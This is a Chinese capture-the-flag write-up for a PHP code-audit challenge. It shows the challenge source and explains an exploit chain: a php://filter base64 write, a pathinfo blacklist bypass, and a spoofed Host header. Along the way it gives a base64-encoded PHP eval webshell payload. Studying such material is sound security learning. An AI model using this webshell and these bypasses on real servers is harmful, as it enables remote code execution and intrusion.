一道代码审计题
一道代码审计题
题目是p神的code-breaking中的phpmagic。
先?read-source=1可以读到源码
php内容为:
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif;
?>
分析源码,首先创建了一个文件夹
路径为./data/md5($_SERVER['REMOTE_ADDR'])/
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
这里使用shell_exec执行了命令,但输入的domain被escapeshellarg处理过,没有其他条件,难以利用。
escapeshellarg($string) 把字符串转码为可以在shell命令里使用的参数 (确保用户只传递一个参数给命令)
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
这里有写文件的操作,output被打印出来了的
这个命令会把我们传入的值输出出来,但在之前使用了htmlspecialchars这个函数,使得所有的标签都被转化了。
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
我们可以使用php伪协议来写入文件,这样就不用担心标签字符失效了
这里还使用了pathinfo函数来取文件后缀,之后判断时候再黑名单中。
而pathinfo这个函数是可以被绕过的。
pathinfo函数只是取最后一个小数点之后的字符作为文件的后缀,因此很容易被绕过
这里用a.php/.a就能绕过,而且php://filter伪协议还能将其看做a.php
(详细可以看看:http://wonderkun.cc/index.html/?p=626)
我们要用php伪协议来写文件,所以文件名log_name一定是php://filter开头的。
log_name的赋值过程:
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
这里将log_name开头写成了$_SERVER[‘SERVER_NAME’]
查找资料,发现当我们使用ip访问的时候,$_SERVER[‘SERVER_NAME’]是可以伪造的。
到此,我们就可以构造payload了<?php eval($_GET[1]); ?>
base64==> PD9waHAgZXZhbCgkX0dFVFsxXSk7ICA/Pg==
因为我们输入的参数是在$output的中间部分,所以base64后的等号不能要,不然解base64时会出错
最后,
最后看上传的位置, ./data/md5($_SERVER['REMOTE_ADDR'])/
$_SERVER[‘REMOTE_ADDR’]是我们自己的ip地址
这里我的路径是 /data/dd546ac20717cd31b1ceaad3eb9911c1/
访问/data/dd546ac20717cd31b1ceaad3eb9911c1/shell.php,之后即可读取flag
知识点:
① php://filter可用来base64 bypass写入内容
② pathinfo可以用/.来绕过
③ $_SERVER[‘SERVER_NAME’]可通过Host进行伪造
上一篇: DDCTF部分WP
下一篇: Java小白必须会的一道算法题